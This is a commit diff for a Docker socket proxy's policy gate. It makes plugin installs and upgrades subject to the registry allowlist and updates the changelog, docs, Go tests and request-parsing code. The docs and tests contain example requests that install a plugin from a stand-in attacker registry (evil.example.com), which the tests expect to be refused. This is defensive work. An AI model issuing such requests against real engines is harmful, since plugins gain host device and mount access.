fix: judge docker plugin install against allow-registries

CHANGELOG.md

@@ -12,6 +12,24 @@ useful than saying where the real one is.
 
 ## [Unreleased]
 
+### Changed
+
+- **`allow-registries` now applies to `docker plugin install`**
+  ([#420](https://github.com/wslkit/skrog/issues/420)). A plugin pull names its
+  registry, so it is judged exactly like `docker pull` — including
+  `require-digest` if you have set it. Previously the plugin endpoints were
+  grouped with swarm as "unattributable" and inherited the permissive **build**
+  default, so a plain `allow-registries` let a plugin from any registry
+  through. A plugin gets host device and mount access where an image gets a
+  container, which made that a worse hole than the build one the default was
+  chosen to tolerate.
+
+  **This can refuse something that worked before:** installing a plugin from a
+  registry your allowlist does not list now returns 403. A plugin from a listed
+  registry is unaffected. Swarm and `/swarm/init` are unchanged — they still
+  need `deny-unattributable-builds`, because a TaskSpec genuinely cannot be
+  attributed.
+
 ### Fixed
 
 The concurrency findings from the pre-0.6.0 review, which were filed but not

docs/policy.md

@@ -241,14 +241,26 @@ supplies the `allow-registries` that makes it bite. That is the intended
 outcome — the administrator said "no unattributable builds where images are
 restricted", and they are.
 
-**Plugins and swarm services.** `POST /plugins/pull` and the swarm/service
-endpoints carry no attributable image reference either, and they are refused
-only when `deny-unattributable-builds` is on — which is off by default. So with
-a plain `allow-registries`, `docker plugin install evil.example.com/p` is
-allowed, and a Docker plugin gets host device and mount access: a worse outcome
-than the build hole the default was chosen to tolerate. Tracked as
-[#420](https://github.com/wslkit/skrog/issues/420); set
-`deny-unattributable-builds` if this matters to you today.
+**Swarm services.** `POST /services/create` and `/swarm/init` run an image
+from a TaskSpec this gate does not parse, so they cannot be attributed to a
+registry. They are refused only when `deny-unattributable-builds` is on — which
+is off by default. Refusing beats parsing a TaskSpec and getting it subtly
+wrong, which is how two earlier bypasses happened.
+
+> **Plugins used to be in this list, and should not have been**
+> ([#420](https://github.com/wslkit/skrog/issues/420)). `docker plugin install`
+> names its registry in the request, so it *is* attributable — and because it
+> was lumped in with swarm it inherited the permissive **build** default, so a
+> plain `allow-registries` let `docker plugin install evil.example.com/p`
+> through. A plugin gets host device and mount access where an image gets a
+> container, which made it a worse hole than the build one the default was
+> chosen to tolerate.
+>
+> **`allow-registries` now applies to plugins**, with no opt-in, exactly as it
+> does to `docker pull` — including `require-digest` if you have set it. A
+> plugin from a listed registry installs as before. A plugin pull that somehow
+> names no registry keeps the old conservative treatment rather than passing
+> unjudged.
 
 **A registry mirror.** `skrog cache enable --upstream <url>` wires
 `registry-mirrors` into the engine, and the upstream is not checked against
@@ -387,10 +399,13 @@ Also judged: `POST /volumes/create`, when `allow-bind-sources` is set — a
 container create that follows carries only the volume's name
 ([#419](https://github.com/wslkit/skrog/issues/419)).
 
-Not judged: `POST /plugins/pull` and the swarm/service endpoints, which are
-refused only when `deny-unattributable-builds` is on — and that is off by
-default ([#420](https://github.com/wslkit/skrog/issues/420)). A Docker plugin
-gets host device and mount access, so this is the gap worth knowing about.
+Also judged: `POST /plugins/pull` and `/plugins/{name}/upgrade`, against
+`allow-registries`, because a plugin names the registry it comes from
+([#420](https://github.com/wslkit/skrog/issues/420)).
+
+Not judged: the swarm and service endpoints, which run an image from a
+TaskSpec this gate does not parse and so are refused only when
+`deny-unattributable-builds` is on.
 
 Resource caps on an unset container — the one *mutating* rule in the original
 proposal — are deliberately not implemented: mutating a user's request

internal/pipeproxy/imagegate_test.go

@@ -378,12 +378,15 @@ func TestLowercaseCreateFieldsAreStillJudged(t *testing.T) {
 // traffic that cannot be attributed must not proceed.
 func TestUnattributableEndpointsAreRefused(t *testing.T) {
 	for _, path := range []string{
-		"/v1.44/plugins/pull?remote=evil.example.com/rogue",
-		"/plugins/pull",
-		"/v1.44/plugins/evil%2Frogue/upgrade?remote=evil.example.com/rogue",
+		// Swarm genuinely cannot be attributed without parsing a TaskSpec,
+		// and refusing beats parsing it and getting it subtly wrong.
 		"/v1.44/services/create",
 		"/v1.44/services/abc123/update",
 		"/v1.44/swarm/init",
+		// A plugin pull with NO remote: attributable in principle, not in
+		// this request. It keeps the conservative treatment rather than
+		// passing unjudged (#420).
+		"/plugins/pull",
 	} {
 		gate := &fakeImageGate{denyBuild: "allowlist is in force"}
 		resp, engineReached := driveRequest(t, gate,
@@ -398,6 +401,54 @@ func TestUnattributableEndpointsAreRefused(t *testing.T) {
 	}
 }
 
+// A plugin pull that NAMES its registry is judged as the pull it is (#420),
+// not as an unattributable build.
+//
+// This is the hole the split closes. These endpoints used to inherit the build
+// default — allowed unless deny-unattributable-builds was explicitly set — so
+// a plain allow-registries let `docker plugin install evil.example.com/p`
+// through. A plugin gets host device and mount access where an image gets a
+// container, which made it a worse hole than the build one the permissive
+// default was chosen to tolerate.
+func TestPluginPullIsJudgedAsAPull(t *testing.T) {
+	for _, path := range []string{
+		"/v1.44/plugins/pull?remote=evil.example.com/rogue",
+		"/v1.44/plugins/evil%2Frogue/upgrade?remote=evil.example.com/rogue",
+		"/plugins/pull?remote=evil.example.com/rogue&name=rogue",
+	} {
+		// Note: denyBuild is EMPTY. The whole point is that the registry
+		// allowlist alone refuses this, with no opt-in.
+		gate := &fakeImageGate{denyPull: "policy does not allow images from evil.example.com"}
+		resp, engineReached := driveRequest(t, gate,
+			"POST "+path+" HTTP/1.1\r\nHost: d\r\nContent-Length: 0\r\n\r\n")
+
+		if resp.StatusCode != http.StatusForbidden {
+			t.Errorf("%s: status = %d, want 403 — allow-registries alone must refuse this", path, resp.StatusCode)
+		}
+		if engineReached() {
+			t.Errorf("%s: reached the engine", path)
+		}
+		if gate.sawPull != "evil.example.com/rogue" {
+			t.Errorf("%s: gate saw pull %q, want the remote", path, gate.sawPull)
+		}
+	}
+}
+
+// ...and a plugin from an ALLOWED registry still installs. The rule restricts
+// where plugins come from; it does not ban the feature.
+func TestPluginPullFromAnAllowedRegistryProceeds(t *testing.T) {
+	gate := &fakeImageGate{} // allows everything
+	resp, engineReached := driveRequest(t, gate,
+		"POST /v1.44/plugins/pull?remote=registry.example.com/ok HTTP/1.1\r\nHost: d\r\nContent-Length: 0\r\n\r\n")
+
+	if resp.StatusCode != http.StatusOK || !engineReached() {
+		t.Errorf("a permitted plugin was blocked (status %d, reached=%v)", resp.StatusCode, engineReached())
+	}
+	if gate.sawPull != "registry.example.com/ok" {
+		t.Errorf("gate saw pull %q, want the remote", gate.sawPull)
+	}
+}
+
 // And with no allowlist they pass untouched: this must not break swarm or
 // plugins on a machine with no policy deployed.
 func TestUnattributableEndpointsPassWithoutAPolicy(t *testing.T) {

internal/pipeproxy/rewrite.go

@@ -184,6 +184,11 @@ func rewriteBinds(client net.Conn, engine io.ReadWriteCloser, audit AuditSink, g
 				if reason, no := ig.DenyPull(image); no {
 					denied = errors.New(reason)
 				}
+			} else if remote, isPlugin := pluginPullTarget(req); isPlugin {
+				// Judged as a pull, because that is what it is (#420).
+				if reason, no := ig.DenyPull(remote); no {
+					denied = errors.New(reason)
+				}
 			} else if image, isPush := pushTarget(req); isPush {
 				if reason, no := ig.DenyPush(image); no {
 					denied = errors.New(reason)
@@ -827,20 +832,40 @@ var (
 	// unattributablePath matches endpoints that can fetch or run an image
 	// WITHOUT naming it anywhere this gate can judge (#322).
 	//
-	//   /plugins/pull, /plugins/*/upgrade   fetch from an arbitrary registry
-	//                                       named in `remote`, and a plugin gets
-	//                                       host device and mount access.
 	//   /services/create, /services/*/update, /swarm/init
-	//                                       a swarm task pulls and runs an image
-	//                                       from a spec this gate does not parse.
+	//       a swarm task pulls and runs an image from a TaskSpec this gate
+	//       does not parse.
 	//
 	// They are refused on exactly the same ground as a build: with an allowlist
 	// in force, traffic that cannot be attributed to an allowed registry must not
 	// proceed. Refusing beats parsing a swarm TaskSpec and getting it subtly
 	// wrong, which is how the first two bypasses in this file happened.
+	//
+	// The plugin endpoints are still here, but they are now the FALLBACK
+	// rather than the rule (#420).
+	//
+	// Treating them as unattributable was wrong: /plugins/pull and
+	// /plugins/{name}/upgrade name their registry in `remote`, which the
+	// comment above said all along. Lumping them in with swarm meant they
+	// inherited the BUILD default — allowed unless deny-unattributable-builds
+	// is explicitly set — so a plain allow-registries let `docker plugin
+	// install evil.example.com/p` through. A plugin gets host device and mount
+	// access where an image gets a container, so that was a worse hole than the
+	// build one the permissive default was chosen to tolerate.
+	//
+	// pluginPullTarget runs first and judges them as the pulls they are. They
+	// reach here only when `remote` is absent — a malformed request, or a
+	// shape we did not anticipate — and then the old conservative treatment
+	// applies rather than passing unjudged. Fail closed on the case we cannot
+	// read, judge precisely the case we can.
 	unattributablePath = regexp.MustCompile(
 		`^(/v[0-9.]+)?/(plugins/pull|plugins/.+/upgrade|services/create|services/.+/update|swarm/init)$`)
 
+	// pluginPullPath matches the two endpoints that fetch a plugin from a
+	// registry. `docker plugin install` is a pull followed by an enable, and
+	// the pull is where the bytes come from.
+	pluginPullPath = regexp.MustCompile(`^(/v[0-9.]+)?/plugins/(pull|.+/upgrade)$`)
+
 	// pushPath matches `docker push` and `docker plugin push` (#353).
 	//
 	// The reference is in the PATH rather than the query, unescaped and
@@ -890,6 +915,42 @@ func pushTarget(req *http.Request) (string, bool) {
 //
 // The body is buffered and restored, so the request still forwards byte for
 // byte -- the caller writes req.Body downstream.
+// pluginPullTarget is the plugin reference a /plugins/pull or
+// /plugins/{name}/upgrade is fetching (#420).
+//
+// The reference is in `remote`, plainly, which is why lumping these in with
+// swarm as "unattributable" was wrong. A plugin is distributed as an image
+// from a registry, so the answer goes to the same DenyPull the image rules
+// already use: an allowlist that forbids a registry for `docker pull` and
+// permits it for `docker plugin install` is not an allowlist, and a plugin
+// gets host device and mount access where an image gets a container.
+//
+// The empty-remote case returns false rather than an empty reference, so a
+// malformed request reaches the engine and is rejected there with a far better
+// message than a guess here would produce.
+func pluginPullTarget(req *http.Request) (remote string, isPluginPull bool) {
+	if req.Method != http.MethodPost || !pluginPullPath.MatchString(req.URL.Path) {
+		return "", false
+	}
+	// Same body-shadows-query precedence as pullTarget, for the same reason:
+	// it is what dockerd does, and judging the other one judges nothing.
+	get := req.URL.Query().Get
+	if isFormEncoded(req) {
+		if form, ok := formBody(req); ok {
+			get = func(k string) string {
+				if v, ok := form[k]; ok && len(v) > 0 {
+					return v[0]
+				}
+				return req.URL.Query().Get(k)
+			}
+		}
+	}
+	if r := strings.TrimSpace(get("remote")); r != "" {
+		return r, true
+	}
+	return "", false
+}
+
 func pullTarget(req *http.Request) (image string, isPull bool) {
 	if req.Method != http.MethodPost || !imageCreatePath.MatchString(req.URL.Path) {
 		return "", false